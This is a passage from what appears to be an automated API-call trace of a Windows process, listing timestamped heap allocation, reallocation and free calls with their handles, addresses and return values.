	[0179.327] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0179.327] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0179.327] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0179.327] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0179.327] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0179.328] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42c5090 | out: hHeap=0x6a0000) returned 1
	[0179.328] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0179.328] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0179.328] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0179.329] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0179.329] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0179.329] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0179.329] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0179.329] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0179.329] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0179.330] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0179.330] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0179.330] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0179.330] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0179.330] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c40060 | out: hHeap=0x6a0000) returned 1
	[0179.333] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42c4088 | out: hHeap=0x6a0000) returned 1
	[0179.333] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42c4088 | out: hHeap=0x6a0000) returned 1
	[0179.341] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42c4088 | out: hHeap=0x6a0000) returned 1
	[0179.341] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42c4088 | out: hHeap=0x6a0000) returned 1
	[0179.342] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0179.346] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d5098 | out: hHeap=0x6a0000) returned 1
	[0179.347] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42e60a8 | out: hHeap=0x6a0000) returned 1
	[0179.347] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42e60a8 | out: hHeap=0x6a0000) returned 1
	[0179.347] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42e60a8 | out: hHeap=0x6a0000) returned 1
	[0179.347] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42e60a8 | out: hHeap=0x6a0000) returned 1
	[0179.347] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42e60a8 | out: hHeap=0x6a0000) returned 1
	[0179.348] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42e60a8 | out: hHeap=0x6a0000) returned 1
	[0179.348] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42e60a8 | out: hHeap=0x6a0000) returned 1
	[0179.575] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42e60a8 | out: hHeap=0x6a0000) returned 1
	[0179.575] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42e60a8 | out: hHeap=0x6a0000) returned 1
	[0179.576] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42e60a8 | out: hHeap=0x6a0000) returned 1
	[0179.576] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42e60a8 | out: hHeap=0x6a0000) returned 1
	[0179.576] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42e60a8 | out: hHeap=0x6a0000) returned 1
	[0179.577] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42e60a8 | out: hHeap=0x6a0000) returned 1
	[0179.577] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42e60a8 | out: hHeap=0x6a0000) returned 1
	[0179.578] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42f80c0 | out: hHeap=0x6a0000) returned 1
	[0179.578] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42f80c0 | out: hHeap=0x6a0000) returned 1
	[0179.579] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42f80c0 | out: hHeap=0x6a0000) returned 1
	[0179.581] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42f80c0 | out: hHeap=0x6a0000) returned 1
	[0179.582] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42f80c0 | out: hHeap=0x6a0000) returned 1
	[0179.582] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42f80c0 | out: hHeap=0x6a0000) returned 1
	[0179.582] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42f80c0 | out: hHeap=0x6a0000) returned 1
	[0179.583] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42f80c0 | out: hHeap=0x6a0000) returned 1
	[0179.583] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42f80c0 | out: hHeap=0x6a0000) returned 1
	[0179.583] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42f80c0 | out: hHeap=0x6a0000) returned 1
	[0179.583] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42e60a8 | out: hHeap=0x6a0000) returned 1
	[0179.584] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42e60a8 | out: hHeap=0x6a0000) returned 1
	[0179.584] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42e60a8 | out: hHeap=0x6a0000) returned 1
	[0179.584] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42e60a8 | out: hHeap=0x6a0000) returned 1
	[0179.584] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42e60a8 | out: hHeap=0x6a0000) returned 1
	[0179.585] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6f7588, Size=0x4000) returned 0x3cf70e0
	[0179.589] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42e60a8 | out: hHeap=0x6a0000) returned 1
	[0179.589] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42e60a8 | out: hHeap=0x6a0000) returned 1
	[0179.590] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42e60a8 | out: hHeap=0x6a0000) returned 1
	[0179.595] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42e60a8 | out: hHeap=0x6a0000) returned 1
	[0179.596] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42e60a8 | out: hHeap=0x6a0000) returned 1
	[0179.596] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42e60a8 | out: hHeap=0x6a0000) returned 1
	[0179.596] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42e60a8 | out: hHeap=0x6a0000) returned 1
	[0179.597] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42e60a8 | out: hHeap=0x6a0000) returned 1
	[0179.597] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42e60a8 | out: hHeap=0x6a0000) returned 1
	[0179.597] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42e60a8 | out: hHeap=0x6a0000) returned 1
	[0179.597] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42e60a8 | out: hHeap=0x6a0000) returned 1
	[0179.598] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42e60a8 | out: hHeap=0x6a0000) returned 1
	[0179.598] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42e60a8 | out: hHeap=0x6a0000) returned 1
	[0179.598] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42e60a8 | out: hHeap=0x6a0000) returned 1
	[0179.598] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42e60a8 | out: hHeap=0x6a0000) returned 1
	[0179.599] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42e60a8 | out: hHeap=0x6a0000) returned 1
	[0179.599] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42e60a8 | out: hHeap=0x6a0000) returned 1
	[0179.599] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42e60a8 | out: hHeap=0x6a0000) returned 1
	[0179.600] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42e60a8 | out: hHeap=0x6a0000) returned 1
	[0179.600] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42e60a8 | out: hHeap=0x6a0000) returned 1
	[0179.600] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42e60a8 | out: hHeap=0x6a0000) returned 1
	[0179.600] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42e60a8 | out: hHeap=0x6a0000) returned 1
	[0179.600] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d5098 | out: hHeap=0x6a0000) returned 1
	[0179.606] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d5098 | out: hHeap=0x6a0000) returned 1
	[0179.606] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42f80c0 | out: hHeap=0x6a0000) returned 1
	[0179.608] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d5098 | out: hHeap=0x6a0000) returned 1
	[0179.609] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42f80c0 | out: hHeap=0x6a0000) returned 1
	[0179.609] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42f80c0 | out: hHeap=0x6a0000) returned 1
	[0179.609] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42f80c0 | out: hHeap=0x6a0000) returned 1
	[0179.611] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42f80c0 | out: hHeap=0x6a0000) returned 1
	[0179.611] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d5098 | out: hHeap=0x6a0000) returned 1
	[0179.612] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42f80c0 | out: hHeap=0x6a0000) returned 1
	[0179.853] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42e50a0 | out: hHeap=0x6a0000) returned 1
	[0179.853] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d5098 | out: hHeap=0x6a0000) returned 1
	[0179.853] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d5098 | out: hHeap=0x6a0000) returned 1
	[0179.853] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d5098 | out: hHeap=0x6a0000) returned 1
	[0179.854] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43090d0 | out: hHeap=0x6a0000) returned 1
	[0179.854] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42e50a0 | out: hHeap=0x6a0000) returned 1
	[0179.855] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d5098 | out: hHeap=0x6a0000) returned 1
	[0179.857] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0179.857] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0179.858] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d4090 | out: hHeap=0x6a0000) returned 1
	[0179.859] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43080c8 | out: hHeap=0x6a0000) returned 1
	[0179.859] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43080c8 | out: hHeap=0x6a0000) returned 1
	[0179.868] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d4090 | out: hHeap=0x6a0000) returned 1
	[0179.868] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43080c8 | out: hHeap=0x6a0000) returned 1
	[0179.869] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d4090 | out: hHeap=0x6a0000) returned 1
	[0179.870] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43080c8 | out: hHeap=0x6a0000) returned 1
	[0179.870] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0179.872] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c40060 | out: hHeap=0x6a0000) returned 1
	[0179.874] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c40060 | out: hHeap=0x6a0000) returned 1
	[0179.875] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c40060 | out: hHeap=0x6a0000) returned 1
	[0179.875] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c40060 | out: hHeap=0x6a0000) returned 1
	[0179.875] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43080c8 | out: hHeap=0x6a0000) returned 1
	[0179.879] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d4090 | out: hHeap=0x6a0000) returned 1
	[0179.882] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d4090 | out: hHeap=0x6a0000) returned 1
	[0179.884] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d4090 | out: hHeap=0x6a0000) returned 1
	[0179.884] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0179.885] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d4090 | out: hHeap=0x6a0000) returned 1
	[0179.885] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d4090 | out: hHeap=0x6a0000) returned 1
	[0179.885] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d4090 | out: hHeap=0x6a0000) returned 1
	[0179.886] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d4090 | out: hHeap=0x6a0000) returned 1
	[0179.887] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d4090 | out: hHeap=0x6a0000) returned 1
	[0179.888] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d4090 | out: hHeap=0x6a0000) returned 1
	[0179.888] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42e4098 | out: hHeap=0x6a0000) returned 1
	[0179.889] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d4090 | out: hHeap=0x6a0000) returned 1
	[0179.889] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d4090 | out: hHeap=0x6a0000) returned 1
	[0179.889] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d4090 | out: hHeap=0x6a0000) returned 1
	[0179.890] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d4090 | out: hHeap=0x6a0000) returned 1
	[0179.890] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0179.892] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c40060 | out: hHeap=0x6a0000) returned 1
	[0179.892] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43080c8 | out: hHeap=0x6a0000) returned 1
	[0180.639] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c40060 | out: hHeap=0x6a0000) returned 1
	[0180.737] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c40060 | out: hHeap=0x6a0000) returned 1
	[0180.742] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0180.868] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x3cf70e0, Size=0x4000) returned 0x3cfa0f0
	[0180.875] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x3cfa0f0, Size=0x8000) returned 0x42e4098
	[0180.882] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x42e4098, Size=0x10000) returned 0x42e4098
	[0181.563] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x42e4098, Size=0x20000) returned 0x42a3070
	[0181.585] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x42a3070, Size=0x40000) returned 0x433a0e8
	[0181.900] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d4090 | out: hHeap=0x6a0000) returned 1
	[0181.902] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x431a0e0 | out: hHeap=0x6a0000) returned 1
	[0181.902] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d4090 | out: hHeap=0x6a0000) returned 1
	[0181.902] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0181.908] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d4090 | out: hHeap=0x6a0000) returned 1
	[0181.908] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d4090 | out: hHeap=0x6a0000) returned 1
	[0181.911] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d4090 | out: hHeap=0x6a0000) returned 1
	[0181.911] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0181.914] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0181.915] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0181.918] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0182.176] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0182.177] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0182.181] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43190d8 | out: hHeap=0x6a0000) returned 1
	[0182.181] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43190d8 | out: hHeap=0x6a0000) returned 1
	[0182.181] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43190d8 | out: hHeap=0x6a0000) returned 1
	[0182.184] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43190d8 | out: hHeap=0x6a0000) returned 1
	[0182.184] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0182.588] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43290e0 | out: hHeap=0x6a0000) returned 1
	[0182.592] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43290e0 | out: hHeap=0x6a0000) returned 1
	[0182.609] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43290e0 | out: hHeap=0x6a0000) returned 1
	[0182.613] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43290e0 | out: hHeap=0x6a0000) returned 1
	[0182.615] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43290e0 | out: hHeap=0x6a0000) returned 1
	[0182.627] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43190d8 | out: hHeap=0x6a0000) returned 1
	[0182.627] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43190d8 | out: hHeap=0x6a0000) returned 1
	[0182.628] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43190d8 | out: hHeap=0x6a0000) returned 1
	[0182.628] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43190d8 | out: hHeap=0x6a0000) returned 1
	[0182.631] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43190d8 | out: hHeap=0x6a0000) returned 1
	[0183.877] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b3078 | out: hHeap=0x6a0000) returned 1
	[0183.880] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b3078 | out: hHeap=0x6a0000) returned 1
	[0183.883] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b3078 | out: hHeap=0x6a0000) returned 1
	[0183.885] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b3078 | out: hHeap=0x6a0000) returned 1
	[0183.888] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b3078 | out: hHeap=0x6a0000) returned 1
	[0183.890] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b3078 | out: hHeap=0x6a0000) returned 1
	[0183.892] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b3078 | out: hHeap=0x6a0000) returned 1
	[0183.894] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b3078 | out: hHeap=0x6a0000) returned 1
	[0183.896] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b3078 | out: hHeap=0x6a0000) returned 1
	[0183.898] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b3078 | out: hHeap=0x6a0000) returned 1
	[0183.900] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b3078 | out: hHeap=0x6a0000) returned 1
	[0183.902] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b3078 | out: hHeap=0x6a0000) returned 1
	[0183.904] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b3078 | out: hHeap=0x6a0000) returned 1
	[0183.906] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b3078 | out: hHeap=0x6a0000) returned 1
	[0184.157] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b3078 | out: hHeap=0x6a0000) returned 1
	[0184.159] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b3078 | out: hHeap=0x6a0000) returned 1
	[0184.161] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b3078 | out: hHeap=0x6a0000) returned 1
	[0184.163] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b3078 | out: hHeap=0x6a0000) returned 1
	[0184.165] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b3078 | out: hHeap=0x6a0000) returned 1
	[0184.167] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b3078 | out: hHeap=0x6a0000) returned 1
	[0184.169] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b3078 | out: hHeap=0x6a0000) returned 1
	[0184.171] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b3078 | out: hHeap=0x6a0000) returned 1
	[0184.173] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b3078 | out: hHeap=0x6a0000) returned 1
	[0184.174] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b3078 | out: hHeap=0x6a0000) returned 1
	[0184.177] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b3078 | out: hHeap=0x6a0000) returned 1
	[0184.179] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b3078 | out: hHeap=0x6a0000) returned 1
	[0184.182] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b3078 | out: hHeap=0x6a0000) returned 1
	[0184.184] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b3078 | out: hHeap=0x6a0000) returned 1
	[0184.185] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b3078 | out: hHeap=0x6a0000) returned 1
	[0184.187] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b3078 | out: hHeap=0x6a0000) returned 1
	[0184.189] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b3078 | out: hHeap=0x6a0000) returned 1
	[0184.191] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b3078 | out: hHeap=0x6a0000) returned 1
	[0184.698] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b3078 | out: hHeap=0x6a0000) returned 1
	[0184.699] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b3078 | out: hHeap=0x6a0000) returned 1
	[0184.701] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b3078 | out: hHeap=0x6a0000) returned 1
	[0184.703] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b3078 | out: hHeap=0x6a0000) returned 1
	[0184.705] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b3078 | out: hHeap=0x6a0000) returned 1
	[0184.706] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b3078 | out: hHeap=0x6a0000) returned 1
	[0184.708] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b3078 | out: hHeap=0x6a0000) returned 1
	[0184.709] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b3078 | out: hHeap=0x6a0000) returned 1
	[0184.711] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b3078 | out: hHeap=0x6a0000) returned 1
	[0184.712] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b3078 | out: hHeap=0x6a0000) returned 1
	[0184.714] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b3078 | out: hHeap=0x6a0000) returned 1
	[0184.715] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b3078 | out: hHeap=0x6a0000) returned 1
	[0184.715] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3070 | out: hHeap=0x6a0000) returned 1
	[0184.715] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43290e0 | out: hHeap=0x6a0000) returned 1
	[0184.720] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43290e0 | out: hHeap=0x6a0000) returned 1
	[0184.722] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43decf0 | out: hHeap=0x6a0000) returned 1
	[0184.723] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43decf0 | out: hHeap=0x6a0000) returned 1

Thread:
	id = 102
	os_tid = 0x2a4

	[0178.590] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3c60070
	[0178.590] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3c70078
	[0178.591] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6f9888
